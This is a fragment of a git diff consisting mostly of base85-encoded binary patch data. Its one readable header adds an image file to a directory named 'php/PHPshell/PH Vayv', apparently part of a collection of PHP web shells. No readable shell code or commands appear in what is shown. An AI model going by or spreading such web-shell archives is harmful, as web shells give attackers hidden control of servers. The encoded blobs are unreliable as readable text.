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 V`-)BEXXF50tNAaH1K_VC{|Ax(CAR<o literal 0 HcmV?d00001 diff --git a/php/PHPshell/PH Vayv/PH Vayv.jpg b/php/PHPshell/PH Vayv/PH Vayv.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e764ae4644fdbc714b1ef6124e98800ca2f39770 GIT binary patch literal 58338 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 